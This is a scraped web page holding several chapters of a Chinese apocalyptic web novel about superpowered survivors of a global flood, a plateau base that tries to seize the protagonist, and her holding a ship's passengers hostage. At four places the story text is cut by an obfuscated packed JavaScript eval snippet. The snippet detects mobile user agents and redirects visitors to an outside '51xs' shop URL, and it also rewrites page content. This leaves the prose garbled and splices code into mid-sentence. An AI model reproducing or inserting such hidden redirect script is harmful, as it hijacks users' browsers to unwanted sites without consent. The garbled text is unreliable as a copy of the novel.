d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996819|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我们或许或猜测她的异能是[疾驰]，但她的异能名字其实是【逃亡】，总之测定出来的异能名字才是真正的异能。而特殊异能吗，我也不知道，未来基地没有公布，只是说有这么回事儿。” 周佳燕几乎知无不言，作为一个先行的前辈，一点一滴讲述她知道的高原上的事。 许久之前，她们跟随着迁徙部队进入高原地区，而这里早早就驻扎了军队，保护着国家重要人才。也正式基于这个基础，未来基地建立，并且管理和拯救幸存者。 经过长久的计算和策划，她们确定，海水不会退去，也许某天地球会彻底变成一个水球，将一切生物毁灭。 就像西方教派的《圣经》中所描述的，那是一场灭世的洪水。 “既然未来基地还有科研技术，难道不能造船吗？一艘不够就多造几艘，陆地没有了，我们就重造陆地，这又不是天方夜谭，这是可以实现的啊，只要有船！” 周佳燕缓缓摇了摇头。 “我知道，你们是从高原之外的地方过来的，而你们能到这里，多半是有水上交通工具，但是，不管那是什么，在能够灭世的灾难面前，一切都是蚍蜉撼树。” 张蔷宛如一只被扎漏的气球，眼里的光破灭，那是一直坚定的信仰被重重摔碎的痛苦。 萧顺清握紧了手掌。 对于周佳燕的观点，她并没有全信。 即使周佳燕比她们更早到达高原，更了解这里的情况，但周佳燕是个独立的人，萧顺清坚信一个独立的人不可能做到完全客观，也许周佳燕说的信息没有错误，但她传递的观念也许是经过她无意识加工得出的。 水上交通工具？人类的科技造不出来一艘会沉没的大船，因为需要燃料动力，因为高级技术需要保养维修，这些在全球大洪水的情况下难以实现，但不代表……异能不可以。 退一万步讲，萧顺清并非不能接受死亡，她已经尽全力活着，如果就连自己的异能都无法救她，那能够活到最后也算是她拼尽了全力。 了解过高原上幸存者的状况，她们留出时间给周莹母女好好叙旧，萧顺清等人并没有待在遮风避雨的帐篷内。 雨水冲刷，让她们更能认清现实。 冰冷的雨水也让她们更加理智的观察，越是观察，越是验证周佳燕所说非虚。 她们没有再多交谈，直到萧顺清想起了苏凤晚和李自。 她找到周莹，询问那边的进度。 估算着时间，那边应该也到了。 周莹之前看见妈妈，又经历过人类终将灭亡的打击，好几次失去对异能的控制。 好在苏凤晚和李自那边一直在赶路，并不怎么需要关注。 周莹重新连接，皱着眉和苏凤晚李自传音。 “她们已经进入基地了！李自哥接受了治疗，苏姐姐那边情况还好。” 停顿一会儿，似乎是在听苏凤晚那边的话。 随着那边的话语，周莹边传达，便皱起了眉头： “尤晴被基地领导人带走谈话，刚测完异能就有人出现将尤晴带走了，看着不像是抓人，但她们现在和尤晴失去了联系，苏姐姐正在打探基地的状况。” 周莹问道：“顺清姐，苏姐姐那边不会出什么事吧，我明明能够联系上在基地内的苏姐姐她们，却没有办法联系上尤晴，就跟……就跟之前地震的时候，我联系不上人一样……” 56.探测 未来基地，异能检测通道。 从发现未来基地起，队伍里尤晴小队的人就显得格外激动。 “没想到这是近路，我还是不敢相信，我们就这么到最后的基地了？” “基地好大，是不是所有人都在这儿了，我们得救了！” 苏凤晚暗自感叹着这基地的庞大和繁华，竟然还有专门的检测通道。 发现她们的人一开始很惊讶，直说没有接到迁徙部队前来的消息，而再得知她们是自己上岸之后，变得更加激动。 “你们，你们的异能是什么？不对不对，应该直接带你们去检测，快，这边，跟我来！” 于是她们便到了这里。 检测登记口是一个单独通道，其中坐着三个人。 一个女人看着她们，目光浑浊，却在对视的一瞬间锋芒毕露，似乎褪去外表的白雾，看透了对方的内心深处的秘密。 另外两个显然是记录员，一个拿着如今更实用的纸币，另一个面前，竟然是电脑！还亮着屏幕！ 苏凤晚忍不住询问：“基地，现在有电？” 洪水来临后，各地的电路系统都开始瘫痪。 毕竟国内电能的主要来源都被洪水影响。火力发电，因为山体垮塌矿洞危险系数过高，早些年就开始停止，洪水来临之后更是宣告退出；风力发电……狂风暴雨的风，能把用来发电的大风车吹得折断，别提发电了，和风车同样待遇的是水力发电的设备，都直接被摧毁。 她已经很久很有见过能启动的电子产品了。 基地是有发电机？而且还是老式的发电机，如果是太阳能的，估计也是玩完儿。 带路人顺口回答：“这是一个异能者提供的电能，但是储备不多，稚嫩用在刀刃上。” 苏凤晚恍惚，她没想到这世界上还有各种各样的异能，能够产生电的异能，听起来十分厉害，要是她们中也有这么个异能者，想必可以让全船都过上好日子。 “为了方便查看，我们登记资料用的是电子设备，但是以免出现意外，也要进行纸质文件存档。” 所以这里才有两个记录员。 刚来的几人点点头。 紧接着就是第一个测试的尤晴。 她兴奋的感觉还没有从身体内散去，就连异能都还没来得及收回，身后的翅膀偶尔抖动，似乎是抑制不住的喜悦。 坐在椅子上的女人缓慢冲她招手，尤晴便坐在了她身前。 直到这时，尤晴缩了缩脖子，这个测试者的视线让她莫名觉得自己看见了行将就木的老人，明明她看着也就四五十岁的样子。 女人动作迟缓，拉起了尤晴的手，闭上眼，一副侧耳倾听的模样，眼珠在眼皮底下滚动，仿佛黑暗中也能看见她想要看见的东西。 “羽人。” 那头两人刷刷登记，掌管电脑的人在输入之后又进入检索页面，出现了有图片的资料。 “羽人？”尤晴迷茫不解，她没听过这么拗口的形容，要是叫她鸟人她都觉得十分形象，但是羽人，这两个字不是她曾经熟知的。 中年女人收回了手，又睁开了眼睛，陷入沉思的模样。 尤晴得不到她的解释，看向登记员，那头却反应激动。 即使是努力克制也听得出仿佛终于等来好消息的声音。 “是她！真的是羽人！” “出现了……终于出现了。” 尤晴莫名其妙，下一秒就直接被带走了，样子倒是客客气气的，就是十分迫不及待，让人惶恐不安。 另外的人安抚苏凤晚等人，眼里对她们流露出期待。 苏凤晚下意识不安，想在心里呼叫周莹她们，但没有回音，应该是周莹此时正好没有联系她。 接下来就是跟她们一起来的刘春和李艳梅。 这两人都是异能者，没有奇怪的名字，而是普普通通的“火焰”和“飓风”，苏凤晚和李自这才知道这两人的异能是什么，而且通俗易懂。 刘春和李艳梅测试之后，没有享受到和尤晴一样的待遇，只能在这儿等着剩下的人测试完毕。 苏凤晚忐忑不安，李自看出来她的犹豫，刚想先一步上前，苏凤晚却阻拦住他。 “没事，我先来。要是，我也被带走了，你就自己找人治手，还有找我。” 最后两个字声量很低，是她们才能听懂的找法，要是被带走是不好的事，那就只能想办法先集合到一起，看看周莹先联系谁。 苏凤晚做到女人面前，一时没有伸出手，而是看着中年女人的样貌，她离得近了，才发现这个女人长得有些眼熟。 尤其是那双平静的眼睛，虽然是死气沉沉，可竟然神似……神似…… “净化。” 嘶哑的声音打断了苏凤晚的思绪，这是她的异能名字，和她想的差不多。 停顿了一会儿，没有人带她走，苏凤晚松了一口气，安心走到一旁等待李自的检测。 也很正常，只稍微和她们平时的叫法不太一样。 “力士。” 约莫是大力士的意思吧，苏凤晚看向登记员，这一次，她又看见那个电脑前的登记员在搜索什么，这次是空白页。 她们显然有些失望，不过苏凤晚不理解，自然是无法共情。 李自和她都检测完，没有人带她们走，只能干巴巴站在这儿，看向原本带着她们的人，忍不住问道。 “我们能进了吗？” 也不知道是她们的异能到底哪里惹到这些人，没有一个开心的。 听到询问，带她们进来的人才恍然回神。 “哦哦，可以可以，不过……算了，其实现在基地不接受新的普通异能者，但你们是跟那位一起来的，也可以在这儿待着。” 刘春皱起眉：“普通异能者不能进？” “是，这是前几天的规定，毕竟资源少。” 她们抿起嘴，都不太接受这个“歧视”的说法，她们的异能是比不上尤晴酷炫，但拥有异能之后，很少有这种被人看不起的时候。 李自语气迟疑，似乎在确认什么事：“那普通幸存者呢？” 那人一顿，也笑笑：“当然也不接收，不过高原上多的是地方，也和基地没有什么区别，哪里不能待呢。唉，你们也看见了，基地有能源供应，但现在的能源多半都是不可再生还稀少，基地能接纳的人也少啊，以前的幸存者总不能全赶出去吧，这样做也是为了大家好。” 先来后到，就像是救生船上，先上的人就是能活，后来的人则听天由命。 李自似乎憋了一口气在心中，也没有再说些什么。 苏凤晚平静接受这些，虽然是官方的基地，但都是人在管理，哪有可能做到完美，都是尽力做到自己认为最好的局面。 “基地里有治疗系异能吗，我们能找人治疗吗？” “可以，那这样，我直接带你们去治疗系异能者多的地方，你们住在那儿等等看，刚好那位也离得近。” 她们跟在这人身后离开，苏凤晚忽然想起来刚刚测试异能时对那个中年女人的熟悉感，猛地回头，却发现帐篷里只留下了那个用纸笔记录资料的姑娘。 瞬移…… 苏凤晚皱了下眉，还是放不下那个女人的脸。其实光看一张脸，无法很快和记忆里的人对上号，除非两张脸同时出现，一点点对比，自然就吻合起来。 寻找治疗系异能的行程很顺利，基地内的异能者甚至没有收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007103|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取治疗费用，直接便将李自断掉的手治好，看着那崎岖拧断的手一点点长好，苏凤晚和李自都大大松了一口气。 这次行动的目的达成大半。 这位治疗系异能看着十分温柔：“好了，之前应该很痛吧。” 李自：“谢谢。” 治疗系异能笑容和蔼：“不必客气，今后你在这儿住下，若是需要诵读经文，可以找我，我当初逃亡时也没有忘记。” 李自疑惑地皱起眉，苏凤晚仔细看这位异能者，忽然发现，对方手心里一个“卍”字，这是，佛教里“万”字的写法…… 所以，这人是佛教的？那她对李自这么温和。 她又看向李自，额，好像也发现了对方是把他认成了佛教徒，嘴一张，似乎要说什么。 她连忙按住李自肩膀：“呵呵呵，您真是信仰虔诚，阿弥陀佛。” 异能者笑容简直媲美影视剧的菩萨，一股普度众生的味，微微点头便离开了。 苏凤晚松了一口气，没忍住笑了。 李自摸了摸自己的头，也摇头苦笑。她们要真是同道中人就好了，可惜啊，大道注孤。 苏凤晚和他商量正事：“怎么说，你的手治好了，要不我们先走？那边很久没联系我们，但是出事可能性小，我们这边，我怎么看都感觉怪怪的。” 李自也点头：“可以，那我们再等一会儿，以免刚来就走，引起注意。” 刚治好手就走，可能会引起刘春或者李艳梅注意，明白她们就是冲着治疗来的大基地。 过不久周莹联系了她们一次，交流彼此情况之后，她们才知道周莹那边已经联系不上被带走的尤晴了，心里的不安更加加剧。 而令她们更始料不及的是，还没有等到她们离开，一队人便将她们团团围住，几乎是半强迫地将她们带走。 苏凤晚和李自走在队伍中间，内心焦急的呼唤着：“周莹，周莹！” 周莹很快回应： “苏姐姐！你们怎么样？跑掉了吗？” “没有！本来打算等天黑，但是现在有人把我们也带走了！” 该死的，应该之前就跑的，还以为只有尤晴会被带走，明明刚刚只有尤晴吸引了她们的注意力，为什么忽然又带走她们？ 进入一间屋子，看见安然无恙的尤晴，她们内心的疑惑和不安也一瞬间袭来。 “周莹，我们看见了尤晴……周莹？周莹？” 联络，又断了。 但是她们明白了，之前周莹联系不上尤晴，并不是尤晴出了事，而是，这间屋子内，有能够屏蔽周莹联络异能的东西。 苏凤晚和李自绷紧身子，警惕地看向屋内的人。 最让她们在意的，是尤晴。 尤晴见到她们，却是一副兴高采烈的模样。 “没错，是她们，她们中就有人的异能是一艘船。” 苏凤晚瞪大了双眼，控制不住的喊出声：“尤晴你在说什么！！” 李自猛地推开在门口的人，那些人轻飘飘飞出几米，而他拉着苏凤晚拼命狂奔，逃出房门。 后面的人大惊：“别跑！拦住她们！” 尤晴更是两步助跑，以俯冲的姿态向她们飞来。 苏凤晚和李自慌乱地在基地中奔跑，但是她们并不熟悉这里，越是耽搁得久，越是会被基地里的抓回去。 尤晴在天空中飞着，数次落在她们面前不解地疑问：“你们跑什么，那是官方的人！” 两人理也不理，换个方向又飞奔，好几次尤晴抓她们，被李自抱起来扔出去十几米远。 她们只想逃，根本不相信尤晴。 “周莹！尤晴把船的事说给基地的人听了！她们要抓人！” 57.人质 普通异能者驻扎地。 周莹在联系上苏凤晚李自两人后，再没有主动断开异能。 那边两人已经进入未来基地，而且尤晴还被带走失联，想必肯定有问题。 果然，过不久，那边传来消息，她们也被带走了！ 周莹赶紧告诉萧顺清。 萧顺清让她先和苏凤晚她们保持联络，并让那边的两人注意基地内的各种状况，尽快逃跑。 她们想象不到这么大的官方基地会对异能者做什么，甚至一开始觉得或许过于小心了，但是现在似乎小心得还不够。 治疗完就该走的。 而一路上，有异能者左右看管，两人完全没有机会逃跑，在进入那边的房间之后，周莹更是被迫中断了联络。 “顺清姐！她们是进了一个地方立刻断开连接的，人应该没事，但是这下我们就不知道那边的情况了！” 萧顺清皱着眉，闭上眼，反复看着船内和船周的场景，给自己提供思路。 片刻后，她睁开眼：“周莹，联系李艳梅，就是那两个尤晴带队的异能者，告诉她们尤晴和苏凤晚她们都被抓走的消息，让她们帮忙。” 苏凤晚和李自被带走的路上一直和周莹播报周围的环境，也许在她们的指引下那两人能够找到路。 而这边，萧顺清召集这边的人： “另外一队的人遇到了危险，我们现在出发去对岸！” 张蔷大惊：“对面不是基地吗，怎么会出事？” 萧顺清隐瞒了细节，只到：“她们被带到不知哪里，已经失去联系了。” 张蔷心都提起来，她没有和尤晴等人联系的方法，倒是知道这些人里的传音异能一直在保持联络，这会儿突然联系不上，难不成真的出了什么事？ 她立刻扭头看向夏语冰，却看她已经站起身，等待着她们下令出发。 张蔷点了点头：“那我们立刻出发去对岸。” 要是没出事，她们也能正好去未来基地。 周莹正在劝她母亲。 外人看来周莹并没有说话，但显然她们有另外的沟通方式。 张蔷由此确定，那个传音就是周莹。 不过这个异能好用是好用，重要性比不过那艘船的异能。该不会对岸两个人里是吧？ 周莹最终没有说服周佳燕先跟她们离开。 “妈妈，上船去好吗？船上真的很好，我们一定可以活得很久很久。” 周佳燕笑笑摇头：“看你活得很好，妈妈放心了，妈妈属于这里，要和我的队员们共进退的。” 她也有一起拼搏活到现在的伙伴，女儿现在也有自己的朋友，她们即使不生活在一起，也会幸福。 周莹不舍哭着，而脑海中，苏凤晚两人再次出现在联络范围内，她当即再也顾上伤感。 “顺清姐！她们在逃跑！” 萧顺清松了一口气，重新联系上就好。 “那两个异能者呢？出发了吗？” “嗯！她们也在前往救援，等等顺清姐，”周莹控制住自己忍不住看张蔷的动作，重复了苏凤晚传来的话，“尤晴把船的事说给基地的人听了！她们要抓人！” “顺清姐！她们要抓的是你！” 萧顺清手心收紧一瞬，又将提起来的心放下。 “不要暴露给张蔷她们知道，现在，一起去救人。” 周莹在心中应声。 她们的交流都在秘密进行，其他人并不知道，都迅速收拾好所有东西，打算先跑向河边。 恐怕要十几个小时…… 饶是萧顺清也觉得心里忐忑不安。 她问周佳燕：“周阿姨，你们和河对岸的基地交易时，都是用脚力跑过去吗？” 周佳燕松开周莹的手：“你们等一会儿。” 她跑出门，喊来了两个人。 “这两个人速度很快，我们还有一个车架，可以很快到。” 那两人肌肉结实，一男一女都是猎豹一样的身姿。让人拉车这样的事放在以前简直匪夷所思，但现在她们也没有别的办法。 “好，你们最快能多快，到达河边之后，我们可以给你们报酬。” “客气，我们需要换种子和吃的。” “随便什么种子？” “能吃的。” “好。” 两人熟练的架起车，空荡荡的架子几乎要飞起来，车上的人只能牢牢抓住底下的铁架，好在上方也有铁架子，不至于飞出去。 沈金兰使用异能，将车上的人都包裹进去，终于，防护罩挡住了风雨，不再摧残她们的意志。 前头两个异能者看了，笑了：“哟，不错，那你们不怕雨淋了，我们就加快速度了！” 从前在车上坐着的“乘客”往往会因为急速造成的冲击受不了，这回有防护罩，她们当然能够提速了。 两人的速度几乎是快到残影，强烈的推背感让所有人都挤在防护罩最边上，难以动弹。 张蔷被挤在角落，还不忘回想刚刚的异能使用，应该是那个奶奶的异能。 之前在船上，她们接触少而且这些人一般不用异能，所以她们才猜不到，现在接触下来，分析出她们的异能状况倒也不难。 又排除一个异能者。 原本跑了十几个小时的路，在速度型异能者的加持下，她们几乎没有怎么感觉到时间的流逝，就已经到了河边。 下车之后，萧顺清第一时间问周莹情况。 “苏姐姐和李自哥还在基地东躲西藏，尤晴一直追着她们跑，现在和李艳梅汇合了，刘春帮着尤晴，李艳梅居然站在我们这边！” 萧顺清也微微惊讶了一下，没想到李艳梅已经愿意帮她们。 她看向一旁的夏语冰，既然李艳梅都已经被策反，那夏语冰是不是也…… “张蔷，你留在船上，领导二楼的幸存者好好在船上待着。” 她们上了船，张蔷听见这样的分配不满：“什么意思，我不能过去？” “你的异能没有攻击性吧，还不如在这儿待着，以免你们都出了意外，幸存者们群龙无首。” 张蔷：“尤晴已经出事了？” 萧顺清换了个说法：“她应该不会回来了。” 应该说大概率没机会回来了，尤晴想不想回来时一方面，她不想让尤晴再上船是另一方面，反正她会飞，就不要给自己添堵了，爱飞哪儿飞哪儿。 张蔷同意了。 夏语冰连忙问：“那我呢？” “你愿意跟我们一起去救人吗？” 夏语冰直接点头：“好，我去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019486|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>萧顺清又将沈金兰留在船上，还交付了报酬给两个速度型异能者。 “拜托你们能再送我们一程吗？我们去未来基地的方向。” “成啊。”拿着新鲜的蔬菜水果，她们简直喜出望外。 高原上的人种了那么久的作物，但收获寥寥，这船上的东西这么多，太值了！ 三人又坐上了车，萧顺清，周莹以及一个夏语冰，这一次，有了难得的水果加持，她们的速度依旧很快，饶是这样，她们还希望再快一点。 萧顺清问周莹：“她们怎么样了？” “还能联系上，但已经开始混乱了，她们分不出心。” 萧顺清点头：“好。” 她闭上眼，又看见了船的全貌。 在无声中，船内，二楼通往其他楼层的通道关闭，所有人不能再进出，当她们发现这一点的时候，开始惊慌，甚至有人开始攻击船上的铁板。 但她的铁船早就升级成极为坚硬的金属物质，物理攻击没有任何用处。 等到她们累了，就知道这是无用功了。 萧顺清并没有想对她们做什么，但这是她把人换回来的筹码，她需要将这些筹码都握好，不能提前被庄家接盘。 她原本可没有想过这么对那些幸存者，这是尤晴给她的启发，既然尤晴能够加入官方那边，那么，她还在意这一艘船上的人吗？ 那就试试吧。 萧顺清让周莹联系上尤晴。 “你有什么目的我们并不在意，但你要是害了任何一个人，船上剩下的九十多个人，立刻就会被扔进河水里，过一百米，她们就能被冲下瀑布，大概都会死。” 未来基地内，和苏凤晚三人僵持的尤晴听到威胁，险些破口大骂。 她怒极：“我怎么可能会害人！你们竟然拿一整船的人来威胁我？我只是要带她们见基地的领导人，她们见了领导人自然就会知道根本不用跑，你，这是拯救全人类的大事你懂个屁！” 周莹原样转述。 萧顺清又思考起来。 尤晴其实不会撒谎，但她会主观。 她信任官方的人，只要官方的人说这样对全人类好，她就会无条件做。所以，她是因为这个，说出了她们中有人的异能是一艘船的事。 那带走苏凤晚和李自是为了什么？ 对了，尤晴其实不知道船的异能不在这两人中，可是她们进入基地都有检查，难道基地领导人没有收到消息？ 还是说，尤晴说的是，跟苏凤晚和李自一队的人里有人的异能是船，所以官方的人想要让苏凤晚她们说出是谁。 萧顺清让周莹给苏凤晚她们传话。 “尽量拖延时间，但是，如果真的被带走了，只有一个要求，不要说出其他人的异能。”她停顿了一会儿，“拜托了。” 这是唯一的，她能想到的解法。 周莹完成任务，又忍不住问萧顺清。 “顺清姐，尤晴说的话是什么意思，什么拯救全人类？” 萧顺清也不知道，但是，非要找出她这个船的拥有者，总不会是想要献祭她吧。 她的心莫名安定下来，觉得再离谱的答案她都能理解了，不过不代表她愿意接受什么安排。 总之，一切都会在她到达未来基地之后真相大白。 58.抛尸 将将能够看见未来基地大门的时候，萧顺清一行人停下了车，周佳燕队伍里的两个人跟她们是交易关系，没有什么非帮忙不可的说法。 而她们返程后应该也暂时只能在河这边待着，只是不参与她们后面的事。 萧顺清脚落在地面上，几乎是轻飘飘的，没有实感。也许是因为刚刚的车速，也许是因为心里莫名的恐慌。 她很就没有心跳得这么快过。 周莹拉了她一把，恰好让她回过神来，扭头看，周莹几乎已经开始深呼吸着平复自己的心。 萧顺清见她这样子，反而像是对方把自己那份焦虑不安一起吸纳了，自己的心一点点平静下来。 “好了，不一定会那么糟，你也听她说了，毕竟是官方的人，总不会真要对我一个普通人做什么。” 周莹手心分不清是冒出的汗水还是漫天的雨水，黏腻的雨，她一直未曾适应。 “顺清姐，如果，我们跑不掉了怎么办？” 萧顺清一怔，却是笑了一下：“你现在才担心这个？我是不是不该让你一起过来……不过，你想反悔也无路可走了哦。” 周莹噎住，但心里竟然平静下来。因为被萧顺清的逗弄说得无语，反而冲淡了她对于和这种天然“正确”的组织对抗的害怕。 “我不会反悔的。” 陈师望叹了口气：“我心里慌，要不我们再聊聊计划吧。” 萧顺清疑惑：“你也慌？算了。” 萧顺清本想说一句放心，其实她也没有那么没底气。 但里面到底发生了什么都不知道，要是她真说了什么鼓舞人心的话，结果跟她预想的最坏结果完全不符，那也白费功夫。 陈师望品出点苗头，急切问道：“别算了啊，你有什么底牌没啊，我总觉得她们来者不善，是不是真要把你抓去切片研究，最好弄出百十来个……额，算了。” 他话没说完，才意识到自己因为盈满心头的焦虑忽略了队伍里另一个沉默安静的夏语冰，反应过来才说了和萧顺清一样的算了。他觉得这应该是萧顺清之前说这话的原因。 不过陈师望心里还是没底。 萧顺清平淡冲着基地大门扬了扬下巴，“先进去。” 周莹随时汇报情况，如今她已经熟练掌握同时开多个联络通道的能力，进行苏凤晚和萧顺清这边的转播毫无压力，还能完美转述频道内其他人的通话，只要没有她自己的想法，一切都很顺畅。 苏凤晚：“她们没怎么惊动基地的其他人，除了尤晴她们两个，只有七个人在围堵我们，之前在那个建筑物里看见了测异能的女人，现在基地门口应该不会有人测试。” 李自：“不，有一个瞬移异能者，我现在没有看见。” 苏凤晚：“对！我忘了这人了，她没有来追我们，或许带着人去，要不我们把基地闹得乱一点，你们趁守备不严跑进来。” 萧顺清：“她们没有闹大的打算？是不想被更多人知道吗？” 苏凤晚：“怎么？需要我们闹开，让更多人知道基地在抓我们吗？” 萧顺清：“别，我们已经到基地门口，你们不要轻举妄动，实在撑不住，进去也行。” 苏凤晚：“我还是再坚持一会吧，真不想失联，话说李艳梅的异能太好用吧，纯攻击型，扔火球太厉害了。” 基地大部分地方都有建筑，李艳梅就专门扔火团，空地上的火会被水扑灭，但李艳梅这一手制造了不小混乱，那几个人忙着救火都来不及。也就是一来一回，苏凤晚才发现她们并不像闹大这件事。 毕竟按照道理来说，她们已经进了基地，要是及地上层一声令下，所有人都听从的话，她们哪还能这么溜着尤晴跑。 “你们还在跑什么？我不是已经说清楚了，不是要抓你们，是基地领导人要见你们，再破坏基地的设施，会影响多少人你们知道吗！” 她再次俯冲过来，可惜她的异能使用中全身都轻飘飘的，只要被李强防住，揪着她的翅膀就扔出去了，还有叛变的李艳梅，直接将火球往她身上砸，一点不留情。 她忍不住想，自己究竟哪里得罪了这个人，明明之前不熟吧，也就说了几句话。 抓人的小队也观察出这三人的弱点，“抓那个年轻女人，她的异能攻击性弱！” 苏凤晚想骂人，忍住了，毕竟自己确实是个软柿子。 “靠，早知道换人跟你来了。” 她这异能是一点忙都帮不上。 李自也没空说话。 僵持中，整个基地都响起了激烈的鸣笛。 被围堵的三人一喜，是她们闯进来了？ 但又随即焦虑，她们要是一起进来会不会是被请君入瓮了？尤其是萧顺清，那些人的目的就是萧顺清，想必一旦她跨进基地的大门，就会遇到比她们更难对付的围堵。 另一边，萧顺清等人的行动相当顺利。 尽管基地有电，但显然不能供给给摄像头，没有人看管的墙下，蹲着一个女人。 夏语冰屏息凝神，把手放在墙上，开始冻结墙体。 热胀冷缩，加上缝隙中有水汽被一同冻住，正面墙开始如同特效中一样抖动起来。 与她相隔十米左右，是陈师望，他也同样在用自己的方式拆城墙。专注盯着其中一块砖，让它能够膨胀到让周围其他砖瓦土石崩开。 几秒之后，两人附近的城墙倒塌，基地的警报两秒之后炸响。 她们已经转移到其他地方，如法炮制，等到她们看见基地里跑出来的人，城墙已经被毁了一大半。 “地震了吗！大家快跑！” 不明所以响起的警报声让基地内骚乱起来，即使没有感觉到地面的晃动，她们也怀疑是像之前那次一样的大地震。 高原地区地质活动频繁，地震是常有的事。 但是很快，警报声戛然而止。 【所有人，回到自己的住所，不要轻易出门，所有人，回到自己的住所……】 同样的号令，重复了三遍，也许是被统一管理习惯的人都相当听话，大部分人都转头回了自己住所，将大门紧闭，坚决不管外面发生了什么。 也有人敏锐的察觉到一丝不对。 既然没有地震，那能够让整个基地响起警报的究竟是什么？ “警报已经关了，那几个人还在外面，要是让她们就这么破坏下去，整个基地都损失惨重！” 说话人将手中的对讲机放下，皱着眉十分厌烦，显然，她厌烦的对象是话中的那几个人。 另一人接话：“‘圣经’有新的预言吗？这些人到底是不是预言里的……” “没有，他还躺着呢，距离上次醒过来，都快一个月了。我说，你们真的那么信任这个预言？什么救世主，就这种不顾别人死活，毁坏基地的人的品行，真的能当得起救世主？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏凤晚先是皱了下眉，随即笑了：“尤队长，不是吧，你不是一直说我们心狠手辣吗，怎么觉得我们连杀个人都不敢。是不是她们跟你说有人死了，我觉得，应该是因为你吧，我是无所谓啦，不过你应该会很愧疚？不然你这么一个自命想拯救全人类的人，就这么害死一个无辜的幸存者，居然不感到愧疚，岂不是徒有虚名。” “基地里同样有可以联络其他人的异能，我不会被你骗。” 尤晴阻止了其他人将苏凤晚她们带走的举动，因为即使她还不能确定那几个人做了什么，但至少，她确实在担心。 尤晴拿过抓捕队腰间的联络器，立刻联系上一人。 她的异能同样是联络，但方式不同。 尤晴可以直接和张蔷对话，但有时间限制。 “张蔷，是我尤……” “尤晴！那几个疯子！”张蔷没等说完，立刻愤怒咆哮对尤晴道，“她们杀人了！！她们把我们困在二楼，所有人都打不开房间，还有好多人都困在房间里，我，我刚刚亲眼看见，一个人从船上被扔进河里了！” 尤晴握紧了双拳，几乎是赤红了眼睛。 真的，竟然真的有人被扔下船了，船上，还有更多的人处于危险之中。 59.黏合 “你们等等！” 在苏凤晚，李自和李艳梅即将要被拖走之前，尤晴终于忍不住，猛地出声制止。 “等等，等等……”尤晴双目失神，谁都能看出她心里的挣扎。 苏凤晚察觉到她的犹豫，趁热点火。 “你不是想救人吗？怎么，普通人的命就不是命了？我劝你还是答应她们的条件，又不是完全不能谈对吧。” 尤晴：“她们根本就没说条件！” 苏凤晚：“……那你猜一下？是不是想让你把我们三个放了呢？” 尤晴拿着对讲，不知调到哪个频道，开始交流。 对面：“让外面的人进来，这几个人就能放回去。” 尤晴：“那船上的那些人呢？” “她们不敢。” “但是已经有人死了！她们真的会杀了那些人！” 长久的沉默。 最后，对面似乎换了一个人，声音更加温和，语气中满满是被逼无奈，尽全力之后仍旧不能两全的痛心疾首，让人只能升起对将她逼到这个境地的人的不满。 “尤队长，我们的目的是拯救全人类。” 苏凤晚看着尤晴哑口无言的样子，心里真想骂她不中用，三两句就被说动了。 她大声道：“我呸！还全人类，你们压根儿没想好好谈，根本就是想害死所有人，船上的人命你不在乎，她们难道就不是人类了？是不是你的全人类定义只有你们自己啊，反正只有你这几个不能死，全世界剩下的人都死了都无所谓是吧！” 尤晴没有说话，那头的通话也没有挂断。 温和的嗓音依旧苦苦劝解：“这位女士，我们一直都想找到救世之人，为此做出的努力付出的辛苦绝对是数不胜数……” “你倒是数啊，你救了多少人，做了什么事，你们有多少人又救了多少人，平均一个能救到十个吗？还是只是动动嘴皮子，牺牲其他异能者的命救下幸存者，然后把那些功劳都算到自己头上。要不是我们，那些船上的幸存者一个都跑不了，都死在地震里了！怎么，你自己呢，你亲手救了多少人，或者说，你牺牲了多少人的命才活到今天？” 苏凤晚捅了捅李自，让他帮腔，但是李自想了想，没说别的。 只道：“你们应该不了解外面那几个人，如果我们被抓起来失去联系，她们就会当我们死了，然后毫无顾忌的回到船上，开开心心过自己的日子。” 苏凤晚心里也痛痛的，她也不想死啊，但是现在不能拆台。 “对，我们事先都说好了，反正我们死了她们再进来也没用，还会全搭在这儿，干脆就她们自己漂在海上。对了尤队长，那时候就要感谢你们带上来的物资了，所有人都死翘翘了，东西都归她们，她们估计能活个十几二十年吧。” 尤晴忍不住了：“住口。” 对讲机：“两位异能者，你们不要太过激，我们从头到尾都没有说过要害你们。” 